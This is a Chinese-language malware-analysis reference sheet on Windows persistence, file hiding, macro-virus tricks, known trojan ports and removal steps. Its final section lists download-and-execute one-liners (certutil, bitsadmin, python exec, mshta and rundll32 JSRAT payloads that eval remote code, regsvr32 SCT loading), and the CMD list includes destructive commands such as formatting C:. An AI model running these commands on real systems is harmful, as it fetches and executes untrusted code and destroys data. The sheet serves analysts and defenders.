病毒分析常见速查

news/2024/11/24 6:47:57/

文章目录

  • 关闭防火墙
  • 网页挂马关键字
  • 工作簿对象事件一览表
  • 通信方式
    • 匿名管道通信
  • 常见木马病毒删除方法
  • 文件后缀
  • 安全术语
  • 已知木马端口
  • 文件格式
  • 常驻方法
    • 计划任务
    • 开机启动文件夹
    • 注册表
    • 注入&事件触发
    • 文件隐藏
      • 1\. 使用保留文件名
      • 2\. 使用特殊的CLSIDS
      • 3\. ADS(alternate data stream)
      • 4\. 隐藏注册表键值
    • 白加黑
    • 利用windows特性
      • 劫持 AppInit_DLLs
      • 劫持shim的数据库
      • COM劫持
    • 用户触发的常驻手段
      • 快捷方式劫持
      • 扩展名劫持
  • 注册表操作
    • 宏相关
  • CMD命令
  • 运行命令
  • 父进程
  • 常见路径
  • 环境变量与对应路径
  • 系统进程程序
  • 宏病毒相关
    • 常用"宏"的名称
    • 隐蔽执行手段
    • 调用外部例程和命令执行
    • 宏病毒恶意行为常用字符
  • 病毒执行命令及下载文件的方法
    • 1.Powershell
    • 2.FTP
    • 3.IPC$
    • 4.Certutil
    • 5.bitsadmin
    • 6.msiexec
    • 7.IEExec
    • 8.python
    • 9.mshta
    • 10.rundll32
    • 11.regsvr32
    • 12.MSXSL.EXE
    • 13.JS下载者
    • 14.pubprn.vbs

关闭防火墙

HKLM,"System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile","EnableFirewall",0x00010001,1- EnableFirewall = 0
(0表示关闭 , 1表示打开度, 缺省是打开的)

HKLM,"System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile","DoNotAllowExceptions",0x00010001,0

网页挂马关键字

iframe
window.open

工作簿对象事件一览表

当工作簿更改、工作簿中的任何工作表更改、加载宏更改或数据透视表更改时,将引发工作簿事件。工作簿上的事件在默认情况下是可用的。

事件说明
Activate激活工作薄时
AddinInstall当工作簿作为加载宏安装时
AddinUninstall工作簿作为加载宏卸载时
BeforeClose关闭工作薄前
BeforePrint打印工作薄(或其中任何内容)之前
BeforeSave保存工作薄前
Deactivate工作簿从活动状态转为非活动状态时
NewSheet在工作簿中新建工作表时
Open打开工作簿时
PivotTableCloseConnection在数据透视表关闭与其数据源的连接之后
PivotTableOpenConnection在数据透视表打开与其数据源的连接之后
SheetActivate激活任何一张表时
SheetBeforeDoubleClick双击任何工作表时
SheetBeforeRightClick鼠标右键单击任一工作表时
SheetCalculate工作表重新计算时
SheetChange更改工作表中的单元格时
SheetDeactivate任一工作表由活动状态转为非活动状态时
SheetFollowHyperlink单击 Microsoft Excel 中的任意超链接时
SheetPivotTableUpdate数据透视表的工作表更新之后
SheetSelectionChange工作簿中的数据透视表更新之后
WindowActivate工作簿的窗口激活时
WindowDeactivate工作簿的窗口变为非活动状态时
WindowResize工作簿窗口调整大小时

工作表(Worksheet) 对象事件一览表

事件说明
Activate激活工作表时
Deactivate工作表从活动状态转为非活动状态时
BeforeDoubleClick双击工作表前
BeforeRightClick右键单击工作表时
Calculate对工作表进行重新计算之后
Change更改工作表中的单元格,或外部链接引起单元格时
FollowHyperlink单击工作表上的任意超链接时
PivotTableUpdate在工作簿中的数据透视表更新之后
SelectionChange工作表上的选定区域发生改变时

通信方式

匿名管道通信

匿名管道是一种未命名的、单向管道,通常用来在一个父进程和一个子进程之间传输数据。匿名的管道只能实现本地机器上两个进程间的通信,而不能实现跨网络的通信。

匿名管道是在父进程和子进程之间,或同一父进程的两个子进程之间传输数据的无名字的单向管道。通常由父进程创建管道,然后由要通信的子进程继承通道的读端点句柄或写端点句柄,然后实现通信。父进程还可以建立两个或更多个继承匿名管道读和写句柄的子进程。这些子进程可以使用管道直接通信,不需要通过父进程。

匿名管道是单机上实现子进程标准I/O重定向的有效方法,它不能在网上使用,也不能用于两个不相关的进程之间。

创建匿名管道的函数为CreatePipe,对管道进行读写的操作是ReadFile和WriteFile函数。

常见木马病毒删除方法

1.BO2000
查看注册表[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServicse]中是否存在Umgr32.exe的键值。有则将其删除。重新启动计算机,并将\Windows\System中的Umgr32.exe 删除。

2.NetSpy(网络静灵)
国产木马,默认连接端口为7306,服务端程序被执行后,会在C:\Windows\System目录下生成netspy.exe文件。同时在注册表[HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\Current Version\Run]下建立键值C:\windows\system\netspy.exe,用于在系统启动时自动加载运行。
清除方法:
(1)进入DOS,在C:\Windows\System\目录下输入命令“del netspy.exe”并按Enter键。
(2)进入注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run,删除Netspy.exe和Spynotify.exe的键值即可安全清除NetSpy。

3.NetBus(网络公牛)
国产木马,默认连接端口2344,服务端程序newserver.exe运行后,会自动脱壳成checkdll.exe,位于C:\WINDOWS\SYSTEM下,下次开机checkdll.exe将自动运行,因此很隐蔽,危害很大。同时,服务端运行后会自动捆绑以下文件。
(1)Windows 9x下:捆绑notepad.exe、write.exe、regedit.exe、winmine.exe、winhelp.exe。
(2)Windows NT/Windows 2000下:捆绑notepad.exe、regedit.exe、reged32.exe、drwtsn32.exe、winmine.exe。
注册表扎根:
在这里插入图片描述
服务端运行后还会捆绑在开机时自动运行的第三方软件,如QQ等。
清除方法:
(1)删除网络公牛的自启动程序C:\WINDOWS\SYSTEM\CheckDll.exe。
(2)把网络公牛在注册表中所建立的键值全部删除(上面所列出的那些键值全部删除)。
(3)检查上面列出的文件,如果发现文件长度发生变化(增加了40KB左右,可以通过与其他计算机上的正常文件比较而知),就删除它们。然后选择“开始”→“附件”一“系统工具”一“系统信息”一“工具”一“系统文件检查器”命令,在弹出的对话框中选中“从安装软盘提取一个文件”,在文本框中输入要提取的文件(前面删除的文件),单击“确定”按钮,然后按屏幕提示将这些文件恢复即可。如果是开机时自动运行的第三方软件,如realplay.exe、QQ、ICQ等被捆绑上了,那就得把这些软件卸载,再重新安装。

4.Asylum
该木马修改了system.ini和win.ini文件,通过查看system.ini文件下的[BOOT]是否存在"shell=explorer.exe",如不是,则删除它,改回上面的设置
查看win.ini的[windows]项下的run=,如果有,则删除

5.冰河
标准版的服务器端程序为G-server.exe,客户端程序为G-client.exe,默认连接端口为7626。
一旦运行G-server,那么该程序就会在C:\Windows\system目录下生成kernel32.exe和sysexplr.exe并删除自身。kernel32.exe在系统启动时自动加载运行,sysexplr.exe和TXT文件关联,即使删除了kernel32.exe,但只要打开TXT文件,sysexplr.exe就会被激活,它将再次生成kernel32.exe,于是“冰河”又回来了。这就是“冰河”屡删不止的原因。
清除方法:
用纯DOS启动系统(以防木马的自动恢复)删除安装的
Windows下的system\kernel32.exe和system\sysexplr.exe两个木马文件,注意如果系统提示不能删除它们,是因为木马程序自动设置了这两个文件的属性,只需先改掉它们的隐藏、只读属性,就可以将其删除。
删除后,进入Windows系统的注册表中,找到[HKEY_LOCAL_MACHINE\SOFT WARE\Microsoft\Windows\CurrentVersion\Run][HKEY LOCAL MACHINE\ SOFTWARE\Microsoft\Windows\Current Version\RunServices]两项,然后查找kernel32.exe和sysexplr.exe两个键值并删除。再找到[HKEY_CLASSES_ROOT\txfile\open\command],看键值是不是已改为“sysexplr.exe%1”,如果是则改回“notepad.exe%1”。

文件后缀

后缀名说明
vbsVisual Basic Script,微软脚本语言
bat批处理

安全术语

HTTP:超文本传输协议,基于TCP/IP协议之上的应用层协议,允许将HTML文档从Web服务器传送到Web浏览器,默认端口为80

HTTPS:在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性,加入了SSL层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要SSL。HTTPS 存在不同于HTTP的默认端口及一个加密/身份验证层(在 HTTP与 TCP 之间)

响应码如下:

状态代码说明
200请求成功
400语法错误,服务器无法理解

WAF:Web应用防护系统(Web Application Firewall,简称 WAF)也称为:=网站应用级入侵防御系统。
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

端口分类:端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务
比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。

常见的端口:

端口号含义
21FTP文件传输协议代理服务器常用端口号
22SSH安全登录、SCP文件传输、端口重定向端口号
23Telnet远程登录协议代理服务器常用端口号
25SMTP Simple Mail Transfer Protocol (E-mail)
53DNS域名解析服务端口号
80/8080/3128/8081/9080HTTP协议代理服务器常用端口号
110POP3“邮局协议版本3”使用的端口号
443HTTPS加密的超文本传输服务端口号
1080SOCKS代理协议服务器常用端口号
1433MSSQL SERVER数据库默认端口号
1521Oracle数据库服务端口号
1863MSN Messenger的文件传输功能所使用的端口号
3306MYSQL默认端口号
3389Microsoft RDP微软远程桌面使用的端口号
5631Symantec pcAnywhere远程控制数据传输时使用的端口号
5632Symantec pcAnywhere 主控端扫描被控端时使用的端口号
4000/8000腾讯QQ端口号

已知木马端口

木马名称端口木马名称端口
BO jammerkillahV121Deep Throat2140
NukeNabber139Ther Invasor2140
Hackers Paradise456RVL Rat52283
Stealth Spy555Striker2565
Phase0555Wincrash22583
NeTadmin555The Prayer2716
Satanz Backdoor666Phineas2801
Attack FTP666Portal of Doom3700
AIMSpy777Total Eclypse3791
Der Spaeher1000WinCrase4092
Silencer1001FileNail4567
WebEx1001IcqTrojan4950
Doly Trojan1011Sockets de Troie5000
Doly Trojan1015Sockets de Troie 1.x5001
Netspy1033OOTLT Cart5011
Bla 1.11042NetMetro5031
Psyber Stream Server1170Firehotcker5321
Streaming Audio1170BackConstruction 1.25400
SoftWar1207BladeRunner5400
Ultors Trojan1234BladeRunner 1.x5401
SubSeven1243BladeRunner2.x5402
VooDoo Doll1245Illusion Mailer5521
GabanBus1245Xtcp5550
NetBus1245RoboHack5569
Maverick’s Matrix1269Wincrash5742
FTP99CMP1492The thing6000
Psyber Streaming Server1509The thing6400
Shiva Burka1600Vampire6669
SpySender1807HostControl6669
ShockRave1981Deep Throat6670
BackDoor1999Deep Throat6771
Transcout1999DeltaSource6883
Trojan Cow2001Remote Grab7000
Pass Ripper2023NetMonitor7300
Bugs2115NetMonitor1.x7301
NetMonitor 2.x7306GirlFriend21544
NetMonitor 3.x7307Schwindler 1.8221554
NetMonitor 4.x7308GirlFriend21554
Qaz7597Prosiak22222
ICQKiller7789Evil FTP23456
InCommand9400Ugly FTP23456
Portalof Doom9872WhackJob23456
Portalof Doom 1.x9873Ugly FTP23456
Portalof Doom 2.x9874Delta26247
Portalof Doom 3.x9875AOLTrojan 1.130029
iNi-Killer9989NetSphere30100
The Prayer9999Masters Paradise30129
Portalof Doom 4.x10067Socket2330303
Portalof Doom 5.x10167Kuang30999
Coma10607BackOrifice31337
Ambush10666DeepBO31338
Senna Spy11000NetSpy DK31339
HostControl11050BOWhack31666
Progenic Trojan11223Prosiak33333
Gjamer12076Trojan Spirit 200133911
Hack’99 KeyLogger12223Tiny TelnetServer34324
NetBus 1.x12346BigGluck34324
Whack-a-Mole12361Yet Another Trojan37651
Whack-a-Mole 1.x12362The Spy40412
Eclipse 200012701Masters Paradise40421
Priotrity16969Masters Paradise 1.x40422
Kuang2 the Virus17300Masters Paradise 2.x40423
Millenium20000Masters Paradise 3.x40426
Millennium20001Sockets de Troie50505
NetBus Pro20034Fore50766
Logged!20203Remote win shutdown 53001
Chupacabra20203Schoolbus54321
Bla20331Net Raider57341

文件格式

jpg
以FFD8开头,FFD9结束。
图片文件对定界符敏感,去掉定界符或将其设为00
zip
0 4B 03 04:头文件标记
图片标识:
在这里插入图片描述
cdfv2:doc文件本身也是zip压缩,cdfv2格式的文件相当于doc的宏代码

常驻方法

1.修改批处理
(1)Autoexec.bat(自动批处理,在引导系统时执行)。
(2)Winstart.bat(在启动GUI图形界面环境时执行)。
(3)Dosstart.bat(在进入MS-DOS方式时执行)。

2.修改系统配置**
通过修改系统配置文件System.iniWin.ini来达到自动运行的目的

计划任务

控制面板-计划任务可以打开计划任务窗口,看到目前的计划任务项。

命令行使用taskschd.msc打开该窗口。

命令行下也可使用schtasks 命令对计划任务进行添加查看等操作。

开机启动文件夹

这个文件夹会存放自启动项的快捷方式
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

注册表

RUN注册表
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

RunOnce只会运行一次,之后该表项内容
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

系统服务
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKLM\SYSTEM\ControlSet001\services\<service name>
HKLM\SYSTEM\ControlSet002\services\<service name>
HKLM\SYSTEM\CurrentControlSet\services\<service name>

Load注册表
HKCU \ Software\Microsoft\WindowsNT\CurrentVersion\Windows\load

Userinit注册表
HKLM \ SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

注入&事件触发

1.注入到其他进程并删除自己,磁盘上无恶意的pe文件
2.在消息WM_QUERYENDSESSION, WM_ENDSESSION上设置回调函数,去检测是否系统将要关机。关机事件检测到后,将自身写入磁盘,并添加自启动开机后,删除自启动并回到第一步

文件隐藏

1. 使用保留文件名

windows下一些文件夹名是系统保留的设备名称,无法直接创建和访问。

CON, PRN, NUL, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9, COM1, COM2, COM3, COM5, COM6, COM7, COM8, COM9

可以通过mkdir .\d:\con 创建这些受限制的类型,

可通过rd命令删除该文件夹,如rd .\d:\mercenie\con

2. 使用特殊的CLSIDS

examples:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

Administrative Tools.{D20EA4E1-3957-11d2-A40B-0C5020

History.{ff393560-c2a7-11cf-bff4-444553540000}524153}

All Tasks.{ED7BA470-8E54-465E-825C-99712043E01C}

你可以将文件夹改名为上诉字符,然后通过 shell:::{xxxx} 来访问,直接打开会打开相应的控件,只能通过命令行来显示真实文件夹的内容

使用clsids和保留文件名的优势

用户不能直接访问文件夹的内容,特别是CLSID事件,只能打开文件夹

不能以传统的方式修改或者删除这些文件夹,受限的文件名限制了其他的操作;

3. ADS(alternate data stream)

ntfs文件系统中,存在主数据流流和交换数据流(ADS)。

用常规的dir命令和windows文件管理器都没法发现ADS。而当我们查看文件内容的时候也仅仅显示主数据流的内容。

ADS的格式

filename.extension:alternate_stream_name

可用dir /r命令列出ads的名字

用powershell Get-Content查看到交换数据流的具体内容

制作一个利用ads隐藏的文件

生成一个evil.dll

将dll拷贝进文件的ads流里.

type demo.dll > test.txt:demo

利用regsvr32部署整个dll

regsvr32.exe /s test.txt:demo

或者运行特定的函数,如test1函数

rundll32.exe test.txt:demo,Test1

4. 隐藏注册表键值

在键值的前面放入空值NULL,直接访问出错,但是可以被aoturuns看见

例如:

\0c:\\users\\tester\\appdata\\local\\bcd7\\62d2.lnk

默认aoturuns不显示Microsoft的应用,因此可以通过这个机制绕过,如

Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\test.exe\"

恶意软件被rundll32部署,aoturuns里是不显示的,这也算是一种白加黑的方式

白加黑

使用具有数字签名的,合法的应用(很多老的杀软应用)(PS:我以前用过的马一般都是这个套路)

通过dll注入、劫持或者其他方式让这个合法的白名单应用去加载dll,然后再通过dll去解密或者执行shellcode。

这种方式很难被检测到,因为有白名单,而且恶意代码都是在内存中加载。

或者使用各种脚本语言或者命令解释器来加载恶意代码,如python.exe、wscript.exe、php.exe等,甚至是js

通过这些解释器去加载加密或者混淆过的脚本代码,然后和dll一样去下载或者执行恶意代码,也是通过内存加载的方式。

通过这种方式很多杀软不会拦截,看见是python、ruby执行可能直接就放过了。

利用windows特性

劫持 AppInit_DLLs

每个加载user32.dll的应用都会加载 AppInit_DLLs中定义的dll,通过这个特性可以加载恶意的dll。

win8及以上系统,当开启 secure boot 时禁用。

需要UAC权限修改。

相关注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

32位系统+32位dll,或64位系统+64位dll

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

64位系统+32位dll

这里有一个32位和64位的重定向,这里不注意很容易踩坑

劫持shim的数据库

Shim是一个垫在应用程序和windowsAPI之间的逻辑层,是微软用来主要解决应用兼容性问题的解决方法。

执行被劫持的程序时自动加载数据库中恶意模块(dll,shellcode等)。

修改shim数据库需要UAC权限,通过Microsoft Application Compatibility Toolkit可以直接修复shim被劫持的问题

程序可通过官方提供的sdbinst.exe创建一个应用程序的shim数据库,默认路径就在c:\windows\system32\sdbinst.exe

sdbinst /q <path_to_shim_db>.sdb

sdbinst.exe 启动时在如下位置创建键值

HKLM\Software\Microsoft\Windows nt\CurrentVersion\AppCompatFlags\CustomHKLM\Software\Microsoft\Windows nt\CurrentVersion\AppCompatFlags\InstalledSDB

为了更好的隐蔽性,躲避杀软,可以不用sdbinst来劫持shim数据库,可以通过代码来实现。

但无论哪种方式,都会在如下注册表指定数据库文件,因此主要检测这两个键值

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CustomHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB

而恶意的shim数据库文件.sdb存放的路径,根据位数,存放在

C:\Windows\AppPatch\Custom

C:\Windows\AppPatch\Custom\Custom64

COM劫持

COM即Component Object Model (组件对象模型)的缩写,这里我们只关心clsid,即class id

通过修改注册表键值,使特定的clsid指向恶意的dll,程序运行时就会加载恶意的dll

如:

[HKEY_CURRENT_USER\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3DC4579291692E}\InprocServer32]@="C:\\ProgramData\\demo.dll""ThreadingModel"="Apartment"[HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796957-
1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32]@="C:\\ProgramData\\demo.dll""ThreadingModel"="Apartment"

相关注册表

32位OS+32位PE

64位OS+64位PE

HKCU\Software\Classes\CLSID\[hijacked CLSID]\InProcServer32

32位OS+64位PE

HKCU\Software\Classes\Wow6432Node\CLSID\[hijacked CLSID]\InProcServer32

用户触发的常驻手段

快捷方式劫持

先删除如下注册表键

HKEY_LOCAL_MACHINE\Software\Classes\lnkfile\IsShortcut

将快捷方式图标上的箭头隐藏,然后隐藏真实文件夹和恶意文件,用快捷方式替代真实的文件夹,快捷方式中设置如下命令:

C:\Windows\system32\cmd.exe /cstart explorer.exe "Program Files"& type "81d59edde88fc4969d.exe" >"%temp%\81d59edde88fc4969d.exe"&& "%temp%\81d59edde88fc4969d.exe"

点击快捷方式会打开文件夹并执行命令。

扩展名劫持

通过修改注册表中定义的扩展名关联程序,当打开特定的扩展名时,就会被劫持,从而执行恶意文件。

而且重新定义关联程序,是不需要管理员权限的

相关注册表

全局变量定义在 HKEY_CLASSES_ROOT

用户变量定义在HKEY_USERS -> [user SID]_Classes

注册表操作

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ DisableRegistry Tools锁注册表
HKCU\Software\Microsoft\Internet Explorer\Main\Start Page锁主页

HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\MachineGuid //获取计算机的GUID

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName //获取当前操作系统版本
HKEY_CURRENT_USER\Environment //该注册表下的键值用作环境变量

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt中的UnCheckedValue项
//设置隐藏已知文件夹类型扩展名,UnCheckedValue项为1时,文件拓展名无法显示
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue的键值
// 设置文件属性为隐藏,CheckedValue键值为0时,隐藏属性的文件永远不可见

HKLM\Microsoft\Windows NT\CurrentVersion\Window的AppInit_Dlls键值,任何使用到User32.dll 的EXE、DLL、OCX等类型的PE文件都会读取这个地方,并且根据约定的规范将这个键值下指向的DLL文件进行加载,加载的方式是调用 LoadLibrary,常被恶意代码用作驻留

宏相关

HKEY_CURRENT_USER\Software\lMi crosoft\Office\15.0\Word\Security\将宏标记为安全

CMD命令

at 计划任务
ipconfig查看本机ip
systeminfo //查看操作系统版本
del /f /s /q %systemdrive%\*.bat //删除系统盘下所有后缀为.bat的文件
echo y | format c:/u //格式化C盘
netstat //查看端口
taskkill /f /im //终止程序运行
schtasks //添加计划任务,该命令可将任何脚本、程序或文档设置在任何时间自动执行起来
reg add HKCU\Software\Microsoft\Windows\Currentversion\Run /v cryss /d "C:\Users\Last\Desktop\a9d71a.exe" /f //将C:\Users\Last\Desktop\a9d71a.exe添加到注册表
netstat -ano //查看当前的网络连接状态
del /ah /f c:\Hacked.exe & del /ah/f c:\autorun.inf //同时强制删除位于C盘根目录下属性为隐藏的Hacked.exe和autorun.inf文件
tasklist | find “1292” //利用pid查看进程文件名
taskkill /f /pid 1292 /t //这句命令的意思是,强制(/f)终止PID值为1292 的进程和任何由此启动的进程(/t)

ping -i 1 baidu,com设置报文头的TLL值为1,这确保路由器不会再进一步转发流量

运行命令

taskschd.msc打开任务计划面板

父进程

进程名作用路径
EQNEDT32公式编辑器C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
winwordoffice办公软件

常见路径

路径说明
\http\shell\open\command默认浏览器路径

环境变量与对应路径

环境变量对应路径
%ALLUSERSPROFILE%C:\ProgramData
%APPDATA%C:\Users\用户名\AppData\Roaming
%COMMONPROGRAMFILES%C:\Program Files\Common Files
%COMMONPROGRAMFILES(x86)%C:\Program Files (x86)\Common Files
%comspec%C:\Windows\System32\cmd.exe
%HOMEDRIVE%和%SystemDrive%C:\
%HOMEPATH%C:\Users\用户名
%LOCALAPPDATA%C:\Users\用户名\AppData\Local
%PROGRAMDATA%C:\ProgramData
%ProgramFiles%C:\Program Files
%PROGRAMFILES(X86)%C:\Program Files (x86)
%PUBLIC%C:\UsersPublic
%SystemRoot%C:\Windows
%TEMP%和%TMP%C:\Users\用户名\AppData\LocalTemp
%USERPROFILE%C:\Users用户名
%WINDIR%C:\Windows

系统进程程序

进程名作用
cisvc.exe系统的索引服务所对应的程序,用于监测内存使用状
态使用状态,防止可用内存过低问题
svchost.exeWindows服务主进程
wupdmgr.exe在XP系统下,被用作Windows系统的更新
cleanmgr.exe磁盘清理程序
Taskman.exe任务管理器程序
scandskw.exe磁盘扫描程序
Winhelp.exe、Hh.exe帮助文件
SysTray.exe系统栏程序
internat.exe输入法程序
scanregw.exe注册表程序
Mstask.exe计划任务程序

宏病毒相关

常用"宏"的名称

在这里插入图片描述

隐蔽执行手段

代码措施
On Error Resume Next如果发生错误,不弹出错误对话框
Application.DisplayStatusBar = False不显示状态栏,避免显示宏的运行状态
Options.SaveNormalPrompt = False修改公用模板时在后台自动保存,不给任何提示
EnableCancelKey = wdCancelDisabled使不可以通过ESC键取消正在执行的宏
Application.ScreenUpdating = 0不让屏幕更新,让病毒执行时不影响计算机速度
Application.DisplayAlerts = wdAlertsNone不让Excel弹出报警信息
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0屏蔽工具菜单中的“宏”按钮
CommandBars(“Macro”).Controls(“Security”).Enabled = 0屏蔽宏菜单的“安全性”
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0屏蔽宏菜单的“宏”
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0屏蔽工具菜单的“自定义”
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0屏蔽视图宏菜单的“工具栏”
CommandBars(“format”).Controls(“Object”).Enabled = 0屏蔽格式菜单的“对象”

调用外部例程和命令执行

外部例程介绍
MSXML2.ServerXMLHTTPXmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求
Net.WebClient提供网络服务
Adodb.StreamStream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序
Wscript.shellWScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。
PoweshellPowerShell.exe 是微软提供的一种命令行shell程序和脚本环境
Application.Run调用该函数,可以运行.exe文件
WMI用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:.\root\CIMV2隐藏启动进程
Shell.Application能够执行sehll命令

宏病毒恶意行为常用字符

字符串描述
httpURL连接
CallByName允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数
Powershell可以执行脚本,运行.exe文件,可以执行base64的命令
WinmgmtsWinMgmt.exe是Windows管理服务,可以创建windows管理脚本
Wscript可以执行脚本命令
Shell可以执行脚本命令
Environment宏病毒用于获取系统环境变量
Adodb.stream用于处理二进制数据流或文本流
Savetofile结合Adodb.stream用于文件修改后保存
MSXML2能够启动网络服务
XMLHTTP能够启动网络服务
Application.Run可以运行.exe文件
Download文件下载
Write文件写入
Gethttp中get请求
Posthttp中post请求
Responsehttp中认识response回复
Net网络服务
WebClient网络服务
Temp常被宏病毒用于获取临时文件夹
Process启动进程
Cmd执行控制台命令
createObject宏病毒常用于创建进行危险行为的对象
Comspec%ComSpec%一般指向你cmd.exe的路径

病毒执行命令及下载文件的方法

1.Powershell

$client = new-object System.Net.WebClient  $client.DownloadFile(‘http://payloads.online/file.tar.gz’, ‘E:\file.tar.gz’)

2.FTP

cd E:\file # 进入E盘下的file目录
cd www # 进入服务器上的www目录
get access.log # 将服务器上的access.log下载到E:\file

3.IPC$

copy \\192.168.3.1\c$\test.exe E:\file

4.Certutil

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

certutil.exe -urlcache -split -f http://192.168.3.1/test.txt file.txt

5.bitsadmin

    1、bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt2、bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt

完整利用:

cmd.exe /c bitsadmin /transfer d90f http://site.com/a %APPDATA%d90f.exe&%APPDATA%d90f.exe&del %APPDATA%d90f.exe

6.msiexec

msiexec /q /i http://192.168.3.1/test.txt

7.IEExec

需要执行两条命令,一条关闭.net安全策略,一条下载
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off下载exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe

8.python

C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”

9.mshta

mshta http://192.168.3.1/run.hta

run.hta 内容如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user" // 这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>

mshta是用来执行hta文件的,经过测试发现,其实没有hta文件,也可以通过mshta来执行命令的,经过几次测试发现mshta不仅可以使用vbscript,而且可以使用javascript来执行命令,整理payload如下:

VBSCRIPT EXEC

mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)

JAVASCRIPT EXEC

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

JSRAT

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

10.rundll32

其实还是依赖于WScript.shell这个组件

默认方式

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

Use SCT

regsvr32 /u /s /i:http://urlto/calc.sct scrobj.dll

calc.sct:

<?XML version="1.0"?>
